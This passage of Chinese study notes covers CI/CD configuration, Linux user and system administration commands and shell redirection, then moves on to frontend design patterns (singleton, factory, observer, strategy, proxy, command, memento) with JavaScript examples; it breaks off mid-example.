on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: '18'
      - run: npm install
      - run: npm run build
      - run: npm test

156. Travis CI

定义: Travis CI 是基于云的 CI 服务。

配置文件:.travis.yml

language: node_js
node_js:
  - "18"
install:
  - npm install
script:
  - npm run build
  - npm test

157. CircleCI

定义: CircleCI 是基于云的 CI/CD 平台。

配置文件:.circleci/config.yml

version: 2.1
jobs:
  build:
    docker:
      - image: node:18
    steps:
      - checkout
      - run: npm install
      - run: npm run build
      - run: npm test

158. 自动化部署

定义: 自动化部署是通过脚本和工具自动将应用部署到服务器。

部署策略:

  • 蓝绿部署:同时运行两个环境,切换流量
  • 金丝雀发布:逐步将流量引导到新版本
  • 滚动更新:逐台服务器更新
  • 原地更新:直接在现有环境更新

Shell 脚本示例:

#!/bin/bash
APP_DIR="/var/www/myapp"
BACKUP_DIR="/var/www/backup"

# 备份当前版本
cp -r $APP_DIR $BACKUP_DIR/backup-$(date +%Y%m%d)

# 拉取最新代码
cd $APP_DIR
git pull origin main

# 安装依赖
npm install --production

# 构建
npm run build

# 重启服务
pm2 restart myapp

# 验证
curl -s http://localhost:3000/health | grep "ok"
if [ $? -ne 0 ]; then
    echo "Deployment failed, rolling back..."
    rm -rf $APP_DIR
    cp -r $BACKUP_DIR/backup-* $APP_DIR
    pm2 restart myapp
fi

159. 自动化测试

定义: 自动化测试是通过脚本自动运行测试用例。

测试类型:

  • 单元测试:测试单个函数/模块
  • 集成测试:测试模块间的交互
  • 端到端测试:测试完整用户流程
  • 性能测试:测试系统性能

CI/CD 中的测试:

# GitHub Actions 示例
- name: Run tests
  run: |
    npm run test:unit
    npm run test:integration
    npm run test:e2e

160. 构建流水线

定义: 构建流水线是 CI/CD 中的一系列自动化步骤。

典型流水线:

代码提交 -> 代码检查 -> 单元测试 -> 构建 -> 集成测试 -> 部署到测试环境 -> 验收测试 -> 部署到生产环境

最佳实践:

  • 快速反馈(失败快速)
  • 可重复的构建
  • 版本化构建产物
  • 自动化所有步骤
  • 监控和告警

十一、用户管理

161. Linux 用户管理

定义: Linux 是多用户系统,用户管理涉及创建、删除、修改用户和组。

用户类型:

  • root 用户:超级管理员(UID 0)
  • 系统用户:系统服务使用(UID 1-999)
  • 普通用户:日常使用(UID 1000+)

用户相关文件:

  • /etc/passwd:用户信息
  • /etc/shadow:密码信息(加密)
  • /etc/group:组信息
  • /etc/gshadow:组密码信息

162. useradd - 创建用户

定义: useradd 命令用于创建新用户。

useradd username                      # 创建用户
useradd -m username                   # 创建用户并创建主目录
useradd -s /bin/bash username         # 指定Shell
useradd -g group username             # 指定主组
useradd -G group1,group2 username     # 指定附加组
useradd -d /home/custom username      # 指定主目录

163. usermod - 修改用户

定义: usermod 命令用于修改用户属性。

usermod -l newname oldname            # 修改用户名
usermod -d /new/home -m username      # 修改主目录
usermod -s /bin/zsh username          # 修改Shell
usermod -aG sudo username             # 添加到组
usermod -L username                   # 锁定用户
usermod -U username                   # 解锁用户

164. userdel - 删除用户

定义: userdel 命令用于删除用户。

userdel username                      # 删除用户(保留主目录)
userdel -r username                   # 删除用户及其主目录

165. passwd - 修改密码

定义: passwd 命令用于修改用户密码。

passwd                                # 修改当前用户密码
passwd username                       # 修改指定用户密码(需要root)
passwd -d username                    # 删除密码
passwd -l username                    # 锁定用户
passwd -u username                    # 解锁用户

166. groupadd - 创建组

定义: groupadd 命令用于创建新组。

groupadd groupname                    # 创建组
groupadd -g 1001 groupname            # 指定GID

167. groupmod - 修改组

定义: groupmod 命令用于修改组属性。

groupmod -n newname oldname           # 修改组名
groupmod -g 1002 groupname            # 修改GID

168. groupdel - 删除组

定义: groupdel 命令用于删除组。

groupdel groupname                    # 删除组

169. su - 切换用户

定义: su (switch user) 命令用于切换用户。

su                                    # 切换到root
su username                           # 切换到指定用户
su - username                         # 切换并加载用户环境
su -c "command" username              # 以指定用户执行命令

170. sudo - 以管理员权限执行

定义: sudo (superuser do) 命令用于以 root 或其他用户权限执行命令。

sudo command                          # 以root执行命令
sudo -u username command              # 以指定用户执行
sudo -l                               # 查看权限
sudo -i                               # 切换到root Shell
sudo visudo                           # 编辑sudoers文件

配置: /etc/sudoers

username ALL=(ALL) ALL                # 允许用户执行所有命令
username ALL=(ALL) NOPASSWD: ALL      # 无需密码
%groupname ALL=(ALL) ALL              # 允许组内用户

十二、文本编辑命令

171. vim - 文本编辑器

定义: vim 是 Linux 下强大的文本编辑器。

三种模式:

  • 普通模式:默认模式,用于导航
  • 插入模式:编辑文本
  • 命令模式:执行命令

常用命令:

i       # 进入插入模式
ESC     # 返回普通模式
:w      # 保存
:q      # 退出
:q!     # 强制退出
:wq     # 保存并退出

导航:

h/j/k/l         # 左/下/上/右
0/$             # 行首/行尾
gg/G            # 文件开头/末尾
:n              # 跳转到第n行

编辑:

dd              # 删除行
yy              # 复制行
p               # 粘贴
u               # 撤销
Ctrl+r          # 重做

搜索:

/pattern        # 向下搜索
?pattern        # 向上搜索
n/N             # 下一个/上一个
:%s/old/new/g   # 全部替换

172. nano - 简单文本编辑器

定义: nano 是简单易用的终端文本编辑器。

常用快捷键:

Ctrl+O        # 保存
Ctrl+X        # 退出
Ctrl+W        # 搜索
Ctrl+K        # 剪切行
Ctrl+U        # 粘贴
Ctrl+6        # 复制

173. head/tail - 查看文件部分

定义: head 和 tail 用于查看文件的开头和结尾部分。

head -n 20 file.txt                 # 查看前20行
tail -n 20 file.txt                 # 查看后20行
tail -f file.log                    # 实时跟踪

十三、输入输出重定向和管道

174. 输入输出重定向

定义: 重定向用于改变命令的标准输入、标准输出和标准错误的流向。

标准流:

  • stdin (0):标准输入
  • stdout (1):标准输出
  • stderr (2):标准错误

输出重定向:

command > file.txt                  # 覆盖输出到文件
command >> file.txt                 # 追加输出到文件
command 2> error.txt                # 错误输出到文件
command > file.txt 2>&1             # 所有输出到文件
command &> file.txt                 # 简写(Bash)
command > /dev/null 2>&1            # 丢弃所有输出

输入重定向:

command < file.txt                  # 从文件读取输入
command << EOF                      # here document
line 1
line 2
EOF

175. 管道

定义: 管道 | 将前一个命令的标准输出连接到后一个命令的标准输入。

command1 | command2                 # 连接两个命令
command1 | command2 | command3      # 连接多个命令

示例:

ps aux | grep nginx | wc -l         # 统计nginx进程数
cat file.txt | sort | uniq -c       # 排序并统计
ls -l | awk '{print $5}' | paste -sd+ | bc  # 计算总大小

管道特性:

  • 数据流式传输(不需要临时文件)
  • 支持多个命令串联
  • 适合文本处理

最佳实践:

  • 结合 grep、awk、sed 处理文本
  • 使用 tee 同时输出到文件和终端
  • 避免过长的管道(复杂逻辑应使用脚本)

十四、系统理解

176. Linux 系统理解

定义: Linux 系统理解涉及操作系统架构、内核、发行版等核心概念。

系统架构:

应用程序
  ↓
Shell / 系统工具
  ↓
系统调用接口
  ↓
Linux 内核
  ↓
硬件

内核功能:

  • 进程管理
  • 内存管理
  • 文件系统
  • 设备驱动
  • 网络协议栈

发行版:

  • Debian/Ubuntu:apt 包管理
  • CentOS/RHEL:yum/dnf 包管理
  • Arch Linux:pacman 包管理
  • openSUSE:zypper 包管理

177. 系统性能监控

定义: 系统性能监控是跟踪和分析系统资源使用情况。

CPU 监控:

top                                 # 实时查看
vmstat 1                            # 每秒统计
mpstat                              # CPU详细统计

内存监控:

free -h                             # 查看内存使用
vmstat                              # 虚拟内存统计
cat /proc/meminfo                   # 详细信息

磁盘监控:

df -h                               # 磁盘使用
du -sh /path                        # 目录大小
iostat                              # I/O统计

网络监控:

netstat -s                          # 网络统计
iftop                               # 带宽监控
nethogs                             # 进程带宽

178. 系统启动流程

定义: Linux 启动流程是从开机到系统就绪的过程。

启动流程:

  1. BIOS/UEFI 初始化硬件
  2. 引导加载程序(GRUB)
  3. 加载内核
  4. 初始化 initramfs
  5. 启动 init 系统(systemd)
  6. 运行系统服务
  7. 显示登录界面

systemd 目标:

systemctl list-units --type=target  # 查看目标
systemctl get-default               # 查看默认目标
systemctl set-default multi-user.target  # 设置默认目标

常用目标:

  • multi-user.target:多用户命令行
  • graphical.target:图形界面
  • rescue.target:救援模式

179. 包管理

定义: 包管理是安装、更新、删除软件包的系统。

apt(Debian/Ubuntu):

apt update                          # 更新包列表
apt upgrade                         # 升级包
apt install package                 # 安装包
apt remove package                  # 卸载包
apt search package                  # 搜索包
apt list --installed                # 列出已安装包

yum/dnf(CentOS/RHEL):

yum update                          # 更新包
yum install package                 # 安装包
yum remove package                  # 卸载包
yum search package                  # 搜索包
yum list installed                  # 列出已安装包

180. 系统安全

定义: 系统安全是保护系统免受未授权访问和攻击。

安全措施:

  • 定期更新系统和软件
  • 配置防火墙
  • 使用 SSH 密钥认证
  • 禁用 root 远程登录
  • 最小权限原则
  • 定期备份
  • 监控日志
  • 使用 SELinux/AppArmor

SSH 安全配置:

/etc/ssh/sshd_config:
PermitRootLogin no                  # 禁止root登录
PasswordAuthentication no           # 禁用密码认证
Port 2222                           # 修改端口

附录:常用命令速查表

文件操作

命令 说明
ls 列出目录
cd 切换目录
pwd 显示当前目录
mkdir 创建目录
rm 删除文件/目录
cp 复制
mv 移动/重命名
touch 创建文件
cat 查看文件
less 分页查看

权限管理

命令 说明
chmod 修改权限
chown 修改所有者
chgrp 修改所属组

进程管理

命令 说明
ps 查看进程
top 实时监控
kill 终止进程
nohup 忽略挂起信号

网络命令

命令 说明
ping 测试连通性
ifconfig/ip 网络接口
netstat/ss 网络连接
curl HTTP客户端
wget 下载工具
ssh 远程登录
scp 安全复制

文本处理

命令 说明
grep 文本搜索
awk 文本处理
sed 流编辑
sort 排序
uniq 去重
wc 统计
cut 提取列

重新学习前端之设计模式与架构

设计模式与架构


一、设计模式

1. 什么是设计模式?设计模式基础

定义

设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它不是具体的代码,而是解决特定问题的通用方案。

原理

设计模式源于建筑领域,1994 年 GoF(四人帮)在《设计模式:可复用面向对象软件的基础》一书中首次系统化地提出 23 种设计模式。核心思想是抽象出共性问题的通用解决方案,提高代码的可复用性、可读性和可维护性。

分类

分类 说明 包含模式
创建型 关注对象的创建过程,将对象的创建与使用分离 单例、工厂方法、抽象工厂、建造者、原型
结构型 关注类和对象的组合,通过组合获得更大的结构 适配器、装饰器、代理、桥接、组合、外观、享元
行为型 关注对象间的通信和职责分配 观察者、策略、命令、状态、模板方法、责任链、中介者、备忘录、迭代器

示例

以一个简单的场景说明:假设需要创建不同类型的通知(邮件、短信、推送),如果不使用设计模式,代码可能是大量的 if-else,使用工厂模式后可以将创建逻辑集中管理。

代码示例

// 不使用设计模式
function sendNotification(type, message) {
  if (type === 'email') {
    // 发送邮件逻辑
  } else if (type === 'sms') {
    // 发送短信逻辑
  } else if (type === 'push') {
    // 发送推送逻辑
  }
}

// 使用工厂模式后
const notificationFactory = {
  email: () => new EmailNotification(),
  sms: () => new SmsNotification(),
  push: () => new PushNotification()
};

function sendNotification(type, message) {
  const notifier = notificationFactory[type]();
  notifier.send(message);
}

常见误区

  1. 设计模式不是银弹:不能生搬硬套,要根据实际场景选择
  2. 过度设计:简单问题用复杂模式反而增加复杂度
  3. 忽略语言特性:JavaScript 的函数式特性可以简化很多传统模式

2. 前端常见的设计模式有哪些及应用场景?

模式 应用场景 实际案例
单例模式 全局唯一实例 Vuex/Redux Store、路由实例、全局弹窗
工厂模式 创建同类型不同实例 创建不同类型的表单组件、创建不同类型的图表
观察者模式 一对多依赖关系 Vue 响应式系统、EventEmitter、DOM 事件
发布订阅模式 解耦的事件通信 跨组件通信、消息中间件、EventBus
策略模式 多种算法可替换 表单验证策略、支付策略、排序算法
代理模式 控制对象访问 Vue 3 响应式 Proxy、图片懒加载、API 代理
装饰器模式 动态增强功能 React 高阶组件、TypeScript 装饰器、函数增强
适配器模式 接口转换 统一不同第三方库的 API、旧接口兼容
模板方法模式 固定流程 表单提交流程、页面初始化流程
责任链模式 多级处理 中间件机制(Koa/Express)、权限校验链
建造者模式 复杂对象构建 表单构建器、图表配置构建
组合模式 树形结构 菜单组件、文件目录树、表单嵌套

3. 单例模式

定义

单例模式(Singleton Pattern)确保一个类只有一个实例,并提供一个全局访问点。

原理

通过私有化构造函数或使用闭包,控制实例的创建过程,保证只创建一个实例。

代码实现

// 方式一:使用闭包实现
class Singleton {
  constructor(name) {
    this.name = name;
    this.instance = null;
  }
  
  getName() {
    return this.name;
  }
  
  static getInstance(name) {
    if (!this.instance) {
      this.instance = new Singleton(name);
    }
    return this.instance;
  }
}

const s1 = Singleton.getInstance('singleton1');
const s2 = Singleton.getInstance('singleton2');
console.log(s1 === s2); // true,同一个实例

// 方式二:使用 ES6 私有字段
class Singleton2 {
  static #instance = null;
  
  constructor() {
    if (Singleton2.#instance) {
      return Singleton2.#instance;
    }
    Singleton2.#instance = this;
  }
  
  static getInstance() {
    return new Singleton2();
  }
}

// 方式三:惰性单例(按需创建)
const createLazySingleton = (fn) => {
  let instance = null;
  return (...args) => {
    if (!instance) {
      instance = fn.apply(this, args);
    }
    return instance;
  };
};

// 使用
const createModal = () => document.createElement('div');
const getModal = createLazySingleton(createModal);
const modal1 = getModal();
const modal2 = getModal();
console.log(modal1 === modal2); // true

应用场景

  1. 全局状态管理:Vuex Store、Redux Store
  2. 全局弹窗/提示:确保同一时间只有一个弹窗实例
  3. 路由实例:Vue Router、React Router 单例
  4. 工具类实例:日志记录器、配置管理器

注意事项

  • 线程安全:JavaScript 是单线程,不存在线程安全问题
  • 测试困难:全局状态可能影响单元测试的隔离性
  • 内存泄漏:单例不会自动释放,需要注意清理

4. 工厂模式

简单工厂

定义:定义一个工厂函数/对象,根据传入的参数决定创建哪种类型的产品。

// 简单工厂
class Notification {
  send() {}
}

class EmailNotification extends Notification {
  send(msg) { console.log('发送邮件:', msg); }
}

class SmsNotification extends Notification {
  send(msg) { console.log('发送短信:', msg); }
}

class PushNotification extends Notification {
  send(msg) { console.log('发送推送:', msg); }
}

// 工厂函数
function createNotification(type) {
  const types = {
    email: EmailNotification,
    sms: SmsNotification,
    push: PushNotification
  };
  
  if (!types[type]) throw new Error('未知的通知类型');
  return new types[type]();
}

const email = createNotification('email');
email.send('Hello');

缺点:新增类型需要修改工厂函数,违反开闭原则。


工厂方法

定义:将对象的创建延迟到子类中,每个子类决定实例化哪个类。

// 工厂方法模式
class NotificationFactory {
  create() {
    throw new Error('子类必须实现此方法');
  }
  
  send(msg) {
    const notification = this.create();
    notification.send(msg);
  }
}

class EmailFactory extends NotificationFactory {
  create() { return new EmailNotification(); }
}

class SmsFactory extends NotificationFactory {
  create() { return new SmsNotification(); }
}

// 使用
const emailFactory = new EmailFactory();
emailFactory.send('Hello'); // 发送邮件: Hello

优点:符合开闭原则,新增类型只需新增工厂类。


抽象工厂

定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。

// 抽象工厂:创建一组相关的 UI 组件
class UIFactory {
  createButton() { throw new Error('抽象方法'); }
  createInput() { throw new Error('抽象方法'); }
}

class WindowsUIFactory extends UIFactory {
  createButton() { return new WindowsButton(); }
  createInput() { return new WindowsInput(); }
}

class MacUIFactory extends UIFactory {
  createButton() { return new MacButton(); }
  createInput() { return new MacInput(); }
}

class WindowsButton { render() { return '<button class="win-btn"></button>'; } }
class MacButton { render() { return '<button class="mac-btn"></button>'; } }
class WindowsInput { render() { return '<input class="win-input"/>'; } }
class MacInput { render() { return '<input class="mac-input"/>'; } }

// 使用
const factory = new WindowsUIFactory();
const btn = factory.createButton();
console.log(btn.render()); // <button class="win-btn"></button>

三种工厂对比

维度 简单工厂 工厂方法 抽象工厂
结构复杂度
扩展性 差(修改工厂类) 好(新增工厂类) 好(新增工厂族)
适用场景 产品类型少 单一产品族 多个产品族
开闭原则 违反 符合 符合

选择策略

  • 产品类型固定且少 → 简单工厂
  • 需要扩展新产品类型 → 工厂方法
  • 需要创建一组相关产品 → 抽象工厂

5. 观察者模式

定义

观察者模式(Observer Pattern)定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。当主题对象状态发生变化时,会通知所有观察者。

原理

主题(Subject)维护一个观察者列表,当状态变化时遍历列表调用每个观察者的更新方法。

代码实现

class Subject {
  constructor() {
    this.observers = [];
  }
  
  subscribe(observer) {
    this.observers.push(observer);
  }
  
  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  constructor(name) {
    this.name = name;
  }
  
  update(data) {
    console.log(`${this.name} 收到通知:`, data);
  }
}

// 使用
const subject = new Subject();
const observer1 = new Observer('观察者A');
const observer2 = new Observer('观察者B');

subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('数据更新');
// 观察者A 收到通知: 数据更新
// 观察者B 收到通知: 数据更新

subject.unsubscribe(observer1);
subject.notify('再次更新');
// 只有观察者B 收到通知

Vue 响应式中的应用

// Vue 2 响应式原理简化版
function defineReactive(obj, key, val) {
  const dep = []; // 观察者列表
  
  Object.defineProperty(obj, key, {
    get() {
      // 收集依赖
      if (Dep.target && !dep.includes(Dep.target)) {
        dep.push(Dep.target);
      }
      return val;
    },
    set(newVal) {
      if (newVal !== val) {
        val = newVal;
        // 通知所有观察者
        dep.forEach(watcher => watcher.update());
      }
    }
  });
}

6. 发布订阅模式

定义

发布订阅模式(Pub-Sub Pattern)通过一个事件中心来解耦发布者和订阅者。发布者不直接通知订阅者,而是通过事件中心转发消息。

代码实现

class EventEmitter {
  constructor() {
    this.events = {};
  }
  
  on(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
    return this; // 链式调用
  }
  
  off(event, callback) {
    if (!this.events[event]) return this;
    if (!callback) {
      delete this.events[event];
    } else {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
    return this;
  }
  
  emit(event, ...args) {
    if (!this.events[event]) return this;
    this.events[event].forEach(callback => callback.apply(this, args));
    return this;
  }
  
  once(event, callback) {
    const wrapper = (...args) => {
      callback.apply(this, args);
      this.off(event, wrapper);
    };
    this.on(event, wrapper);
    return this;
  }
}

// 使用
const bus = new EventEmitter();

bus.on('login', (user) => {
  console.log('用户登录:', user.name);
});

bus.on('login', (user) => {
  console.log('发送欢迎邮件给:', user.name);
});

bus.emit('login', { name: '张三' });
// 用户登录: 张三
// 发送欢迎邮件给: 张三

7. 观察者模式与发布订阅模式的区别

维度 观察者模式 发布订阅模式
耦合度 主题和观察者直接耦合 通过事件中心解耦
结构 主题知道观察者的存在 发布者和订阅者互不知道
通信方式 直接调用 update() 通过事件中心转发
灵活性 较低,关系固定 较高,动态订阅/取消
典型应用 Vue 响应式、DOM 事件 EventBus、Node.js EventEmitter

选择策略

  • 需要紧密耦合、直接通知 → 观察者模式
  • 需要解耦、灵活的事件通信 → 发布订阅模式

8. 策略模式

定义

策略模式(Strategy Pattern)定义一系列算法,将它们封装起来,使它们可以相互替换。

代码实现

// 策略对象
const discountStrategies = {
  normal(price) { return price; },
  vip(price) { return price * 0.9; },
  svip(price) { return price * 0.7; },
  flashSale(price) { return price * 0.5; }
};

// 上下文
class PriceCalculator {
  constructor(strategy) {
    this.strategy = strategy;
  }
  
  calculate(price) {
    return this.strategy(price);
  }
  
  setStrategy(strategy) {
    this.strategy = strategy;
  }
}

// 使用
const calculator = new PriceCalculator(discountStrategies.normal);
console.log(calculator.calculate(100)); // 100

calculator.setStrategy(discountStrategies.vip);
console.log(calculator.calculate(100)); // 90

calculator.setStrategy(discountStrategies.flashSale);
console.log(calculator.calculate(100)); // 50

实战应用:表单验证

const validators = {
  required: (value) => value ? '' : '不能为空',
  minLength: (value, min) => 
    value.length >= min ? '' : `最少需要${min}个字符`,
  isEmail: (value) => 
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? '' : '邮箱格式不正确',
  isPhone: (value) => 
    /^1[3-9]\d{9}$/.test(value) ? '' : '手机号格式不正确'
};

function validate(rules, value) {
  for (const rule of rules) {
    const { type, ...params } = rule;
    const error = validators[type](value, ...Object.values(params));
    if (error) return error;
  }
  return '';
}

// 使用
const rules = [
  { type: 'required' },
  { type: 'minLength', min: 6 },
  { type: 'isEmail' }
];

console.log(validate(rules, ''));        // 不能为空
console.log(validate(rules, 'abc'));     // 最少需要6个字符
console.log(validate(rules, 'abc@'));    // 邮箱格式不正确
console.log(validate(rules, 'a@b.com')); // '' 通过验证

优点

  • 避免大量 if-elseswitch
  • 算法可独立变化,符合开闭原则
  • 运行时可切换策略

9. 代理模式

定义

代理模式(Proxy Pattern)为其他对象提供一个代理以控制对这个对象的访问。

代码实现

// 方式一:函数代理
function createProxy(target) {
  return new Proxy(target, {
    get(obj, prop) {
      console.log(`访问属性: ${prop}`);
      return prop in obj ? obj[prop] : undefined;
    },
    set(obj, prop, value) {
      console.log(`设置属性: ${prop} = ${value}`);
      obj[prop] = value;
      return true;
    }
  });
}

const user = createProxy({ name: '张三', age: 25 });
console.log(user.name); // 访问属性: name \n 张三
user.age = 26;          // 设置属性: age = 26

// 方式二:图片懒加载代理
class RealImage {
  constructor(src) {
    this.src = src;
    this.load();
  }
  load() { console.log('加载图片:', this.src); }
  display() { console.log('显示图片:', this.src); }
}

class ProxyImage {
  constructor(src) {
    this.src = src;
    this.realImage = null;
  }
  display() {
    if (!this.realImage) {
      this.realImage = new RealImage(this.src);
    }
    this.realImage.display();
  }
}

// 方式三:API 缓存代理
function createApiProxy(apiFn) {
  const cache = {};
  return async (...args) => {
    const key = JSON.stringify(args);
    if (cache[key]) {
      console.log('使用缓存');
      return cache[key];
    }
    const result = await apiFn(...args);
    cache[key] = result;
    return result;
  };
}

应用场景

  1. Vue 3 响应式:使用 Proxy 实现数据劫持
  2. 图片懒加载:延迟加载大图片
  3. API 缓存:缓存请求结果
  4. 访问控制:权限校验代理
  5. 日志记录:记录属性访问

10. 装饰器模式

定义

装饰器模式(Decorator Pattern)在不改变原对象的基础上,通过对其进行包装扩展,动态地给对象添加职责。

代码实现

// 函数装饰器
function withLog(target) {
  return function(...args) {
    console.log('调用前:', args);
    const result = target.apply(this, args);
    console.log('调用后:', result);
    return result;
  };
}

function add(a, b) { return a + b; }
const addWithLog = withLog(add);
addWithLog(1, 2);
// 调用前: [1, 2]
// 调用后: 3

// 类方法装饰器(TypeScript 风格)
function readonly(target, key, descriptor) {
  descriptor.writable = false;
  return descriptor;
}

// 组合装饰
function withCache(ttl = 5000) {
  const cache = {};
  return function(target) {
    return function(...args) {
      const key = JSON.stringify(args);
      if (cache[key] && Date.now() - cache[key].time < ttl) {
        return cache[key].data;
      }
      const result = target.apply(this, args);
      cache[key] = { data: result, time: Date.now() };
      return result;
    };
  };
}

const expensiveCalc = (x) => {
  console.log('计算中...');
  return x * x;
};
const cachedCalc = withCache(3000)(expensiveCalc);

React 高阶组件(HOC)

function withLoading(WrappedComponent) {
  return function WithLoadingComponent({ isLoading, ...props }) {
    if (isLoading) return <div>Loading...</div>;
    return <WrappedComponent {...props} />;
  };
}

// 使用
const EnhancedComponent = withLoading(MyComponent);

11. 适配器模式

定义

适配器模式(Adapter Pattern)将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而不能一起工作的类可以一起工作。

代码实现

// 旧版 API
class OldMapService {
  getLocations() {
    return [
      { lat: 39.9, lon: 116.4, name: '北京' },
      { lat: 31.2, lon: 121.5, name: '上海' }
    ];
  }
}

// 新版需要格式:{ latitude, longitude, title }
class MapAdapter {
  constructor(oldService) {
    this.oldService = oldService;
  }
  
  getLocations() {
    const data = this.oldService.getLocations();
    return data.map(item => ({
      latitude: item.lat,
      longitude: item.lon,
      title: item.name
    }));
  }
}

// 使用
const oldService = new OldMapService();
const adapter = new MapAdapter(oldService);
console.log(adapter.getLocations());
// [{ latitude: 39.9, longitude: 116.4, title: '北京' }, ...]

// Axios 适配器示例
function axiosAdapter(config) {
  if (typeof config.adapter === 'function') {
    return config.adapter(config);
  }
  // 默认使用 XHR 或 fetch
  return fetch(config.url, {
    method: config.method,
    headers: config.headers,
    body: config.data
  });
}

应用场景

  1. 新旧 API 兼容
  2. 第三方库接口统一
  3. 数据格式转换

12. 外观模式

定义

外观模式(Facade Pattern)为子系统中的一组接口提供一个一致的界面,定义一个高层接口,使得子系统更加容易使用。

代码实现

// 子系统
class CPU {
  start() { console.log('CPU 启动'); }
  execute() { console.log('CPU 执行'); }
}

class Memory {
  load() { console.log('内存加载数据'); }
  free() { console.log('内存释放'); }
}

class Disk {
  read() { console.log('磁盘读取'); }
  write() { console.log('磁盘写入'); }
}

// 外观类
class ComputerFacade {
  constructor() {
    this.cpu = new CPU();
    this.memory = new Memory();
    this.disk = new Disk();
  }
  
  start() {
    console.log('=== 电脑启动 ===');
    this.cpu.start();
    this.memory.load();
    this.disk.read();
    this.cpu.execute();
  }
  
  shutdown() {
    console.log('=== 电脑关机 ===');
    this.disk.write();
    this.memory.free();
    this.cpu.execute();
  }
}

// 使用
const computer = new ComputerFacade();
computer.start();
// === 电脑启动 ===
// CPU 启动
// 内存加载数据
// 磁盘读取
// CPU 执行

前端应用

// jQuery 就是典型的 Facade
// $('#id').show() 背后封装了 DOM 操作、样式处理、动画等复杂逻辑

// DOM 操作外观
const DOM = {
  get(selector) { return document.querySelector(selector); },
  show(el) { el.style.display = 'block'; },
  hide(el) { el.style.display = 'none'; },
  on(el, event, handler) { el.addEventListener(event, handler); },
  html(el, content) { el.innerHTML = content; }
};

13. 命令模式

定义

命令模式(Command Pattern)将请求封装为对象,从而可以用不同的请求对客户进行参数化。

代码实现

class Command {
  execute() {}
  undo() {}
}

class LightOnCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.on(); }
  undo() { this.light.off(); }
}

class LightOffCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.off(); }
  undo() { this.light.on(); }
}

class Light {
  on() { console.log('灯亮了'); }
  off() { console.log('灯灭了'); }
}

class RemoteControl {
  constructor() {
    this.commands = [];
    this.history = [];
  }
  
  setCommand(index, command) {
    this.commands[index] = command;
  }
  
  pressButton(index) {
    if (this.commands[index]) {
      this.commands[index].execute();
      this.history.push(this.commands[index]);
    }
  }
  
  undo() {
    if (this.history.length > 0) {
      const lastCommand = this.history.pop();
      lastCommand.undo();
    }
  }
}

// 使用
const light = new Light();
const remote = new RemoteControl();
remote.setCommand(0, new LightOnCommand(light));
remote.setCommand(1, new LightOffCommand(light));
remote.pressButton(0); // 灯亮了
remote.pressButton(1); // 灯灭了
remote.undo();          // 灯亮了

前端应用:撤销/重做

class CommandManager {
  constructor() {
    this.undoStack = [];
    this.redoStack = [];
  }
  
  execute(command) {
    command.execute();
    this.undoStack.push(command);
    this.redoStack = [];
  }
  
  undo() {
    if (this.undoStack.length === 0) return;
    const command = this.undoStack.pop();
    command.undo();
    this.redoStack.push(command);
  }
  
  redo() {
    if (this.redoStack.length === 0) return;
    const command = this.redoStack.pop();
    command.execute();
    this.undoStack.push(command);
  }
}

14. 迭代器模式

定义

迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素,而不暴露其内部表示。

代码实现

// 自定义迭代器
class BookCollection {
  constructor() {
    this.books = [];
  }
  
  addBook(book) {
    this.books.push(book);
  }
  
  [Symbol.iterator]() {
    let index = 0;
    const books = this.books;
    return {
      next() {
        if (index < books.length) {
          return { value: books[index++], done: false };
        }
        return { value: undefined, done: true };
      }
    };
  }
}

// 使用
const collection = new BookCollection();
collection.addBook('JavaScript 高级程序设计');
collection.addBook('设计模式');
collection.addBook('算法导论');

for (const book of collection) {
  console.log(book);
}

// 自定义迭代器:有限迭代
function createLimitedIterator(array, limit) {
  let index = 0;
  return {
    [Symbol.iterator]() {
      return {
        next() {
          if (index < array.length && index < limit) {
            return { value: array[index++], done: false };
          }
          return { done: true };
        }
      };
    }
  };
}

15. 中介者模式

定义

中介者模式(Mediator Pattern)用一个中介对象来封装一系列的对象交互,使各个对象不需要显式地相互引用。

代码实现

class ChatRoom {
  constructor() {
    this.users = [];
  }
  
  addUser(user) {
    this.users.push(user);
    user.setMediator(this);
  }
  
  sendMessage(message, sender) {
    this.users
      .filter(user => user !== sender)
      .forEach(user => user.receiveMessage(message, sender));
  }
}

class User {
  constructor(name) {
    this.name = name;
    this.mediator = null;
  }
  
  setMediator(mediator) {
    this.mediator = mediator;
  }
  
  sendMessage(message) {
    console.log(`${this.name} 发送: ${message}`);
    this.mediator.sendMessage(message, this);
  }
  
  receiveMessage(message, sender) {
    console.log(`${this.name} 收到 ${sender.name}: ${message}`);
  }
}

// 使用
const room = new ChatRoom();
const alice = new User('Alice');
const bob = new User('Bob');
const charlie = new User('Charlie');

room.addUser(alice);
room.addUser(bob);
room.addUser(charlie);

alice.sendMessage('大家好!');
// Alice 发送: 大家好!
// Bob 收到 Alice: 大家好!
// Charlie 收到 Alice: 大家好!

应用场景

  1. 聊天室系统
  2. 表单组件联动
  3. 多个模块间的解耦

16. 备忘录模式

定义

备忘录模式(Memento Pattern)在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。

代码实现

class Memento {
  constructor(state) {
    this.state = state;
  }
  getState() { return this.state; }
}

class Editor {
  constructor() {
    this.content = '';
  }
  
  type(text) {
    this.content += text;
  }
  
  getContent() { return this.content; }
  
  save() {
    return new Memento(this.content);
  }
  
  restore(memento) {
    this.content = memento.getState();
  }
}

class History {
  constructor() {
    this.mementos = [];
  }
  
  push(memento) {
    this.mementos.push(memento);
  }
  
  pop() {
    return this.mementos.pop();
  }
}

// 使用
const editor = new Editor();
const history = new History();

editor.type('第');
history.push(editor.save());

editor.type('一');
history.push(editor.save());

editor.type('行');
